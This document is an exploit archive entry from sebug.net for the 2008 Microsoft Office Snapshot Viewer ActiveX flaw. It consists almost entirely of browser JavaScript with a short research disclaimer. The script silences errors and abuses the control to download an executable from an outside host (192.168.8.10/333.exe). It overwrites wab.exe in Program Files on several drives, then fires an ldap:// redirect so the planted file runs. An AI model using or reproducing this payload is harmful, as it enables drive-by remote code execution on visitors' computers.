Microsoft Office Snapshot Viewer ActiveX Exploit(lcx)

SEBUGID:SSD-20080704171
Published:2008-07-14
Exploit:
[www.sebug.net]
The following procedures (methods) may contain something offensive,they are only for security researches and teaching , at your own risk!
<script type="text/javascript">
function killErrors() {
return true;
}
window.onerror = killErrors;

var x;
var obj;
var mycars = new Array();
mycars[0] = "c:/Program Files/Outlook Express/wab.exe";
mycars[1] = "d:/Program Files/Outlook Express/wab.exe";
mycars[2] = "e:/Program Files/Outlook Express/wab.exe";

var objlcx = new ActiveXObject("snpvw.Snapshot Viewer Control.1");

if(objlcx="[object]")
{

setTimeout('window.location = "ldap://"',3000);

for (x in mycars)
{
obj = new ActiveXObject("snpvw.Snapshot Viewer Control.1")

var buf1 = 'http://192.168.8.10/333.exe';
var buf2=mycars[x];

obj.Zoom = 0;
obj.ShowNavigationButtons = false;
obj.AllowContextMenu = false;
obj.SnapshotPath = buf1;

try
{
   obj.CompressedPath = buf2;
   obj.PrintSnapshot();
}catch(e){}

}
}
</script>
// Sebug.net [ 2008-07-15 ]